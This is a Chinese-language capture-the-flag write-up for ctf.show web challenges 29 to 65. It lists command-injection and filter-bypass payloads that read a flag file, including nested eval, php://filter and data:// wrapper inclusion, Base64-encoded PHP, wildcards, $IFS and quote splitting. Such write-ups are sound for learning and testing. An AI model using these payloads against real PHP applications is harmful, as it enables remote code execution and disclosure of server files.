web29
对flag进行了过滤
可以采用通配符来代替
通配符*和?的区别是*可以用来代替零个、单个或多个字符，而?仅可以使用代替一个字符。*表示匹配的数量不受限制，而?的匹配字符数则受到限制。
c=system('ls');
c=system('cat fla?.php');
或者是
将flag.php复制到1.txt文件内
c=system('cp fla?.php 1.txt');
然后访问ctf.show/1.txt
web30
对php，system进行了过滤
同上一题一样
web31
对空格，.，还有cat进行了过滤。
采用 嵌套eval执行
先试一试c=eval($_GET[pw]);&pw=phpinfo();，测试成功
c=eval($_GET[pw]);&pw=system('ls');
c=eval($_GET[pw]);&pw=system('cat flag.php');
然后查看源码
web32
这次连;分号都过滤了
在最末尾，?>可以代替;分号
c=include%0a$_GET[pw]?>&pw=php://filter/convert.base64-encode/resource=flag.php
include 进行包含，%0a是换行，php://filter/convert.base64-encode/resource是文件包含的插件
得到的是Base64编码文件，然后进行Base64解码
web33
和web32类似
c=include%0a$_GET[pw]?>&pw=php://filter/convert.base64-encode/resource=flag.php
也可以
c=require%0a$_GET[pw]?>&pw=php://filter/convert.base64-encode/resource=flag.php
web34
同理
c=include%0a$_GET[pw]?>&pw=php://filter/convert.base64-encode/resource=flag.php
web35
同理
c=include%0a$_GET[pw]?>&pw=php://filter/convert.base64-encode/resource=flag.php
web36
同理
c=include%0a$_GET[pw]?>&pw=php://filter/convert.base64-encode/resource=flag.php
web37
c=data://text/plain,<?php system('cat fla?.php');?>
flag用通配符表示
data:将后面的内容当作代码
data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
而这个是将<?php system('cat flag.php')?>进行Base64编码
web38
这次过滤了flag，php，file。
c=data://text/plain;base64,PD9waHAgc3lzdGVtKCdjYXQgZmxhZy5waHAnKTs/Pg==
<?php system('cat flag.php')?>进行了Base64编码
web39
这次没有了回显。
c=data://text/plain,<?php system("cat fla?.ph?");?>
c=data://text/plain,<?= system("cat fla?.ph?");?>
c=data://text/plain,<?= system("tac fla?.ph?");?>
web40
show_source(next(array_reverse(scandir(pos(localeconv())))));
show_source()函数和highlight_file()函数一样， — 语法高亮一个文件。
scandir函数 — 列出指定路径中的文件和目录
成功则返回包含有文件名的array，如果失败则返回false。如果directory不是个目录，则返回布尔值false并生成一条E_WARNING级的错误
web41
使用宇师傅大佬的脚本
https://blog.csdn.net/miuzzx/article/details/108569080
web42
c=cat flag.php%0a;
或者是
c=cat flag.php;ls通过双写进行绕过，分号进行分割，分号后面作为参数输入到/dev/null中
分号前面被执行。
web43
对cat进行了过滤，可以使用tac或者nl来代替cat
c=tac flag.php%0a
web44
flag被过滤了，用通配符代替
c=tac fla?.php%0a
web45
过滤了，;分号还有空格，对于分号可以使用&&来代替，且经过URL编码，为%26%26
c=tac%09fla?.php%26%26ls
或者是
c=tac%09fla?.php%0a
web46
过滤了*通配符，$符号
使用
c=tac%09fla?.php%0a
或者
c=tac%09fla?.php%26%26ls
web47
并没有对tac进行过滤
使用
c=tac%09fla?.php%0a
或者
c=tac%09fla?.php%26%26ls
web48
和web47一样
web49
同上
web50
过滤了%09和%26
c=tac<fla''g.php||ls
或者
c=nl<fla''g.php||ls
||或逻辑运算符也可以进行URL编码为%7c%7c
web51
这次过滤了tac
所以使用c=nl<fla''g.php%7c%7cls
web52
c=nl$IFS/fla''g%7c%7cls
web53
$d = system($c);是将%c作为命令执行。
使用
c=c''at${IFS}fla''g.p''hp
web54
可以使用mv重命名
c=mv${IFS}fla?.php${IFS}z.txt
还有提示
/bin/?at${IFS}f???????
其他符号用通配符?代替
web55
web56
web57
web 58
c=show_source('flag.php');
web59
c=show_source('flag.php');
web60~web65
都是一样的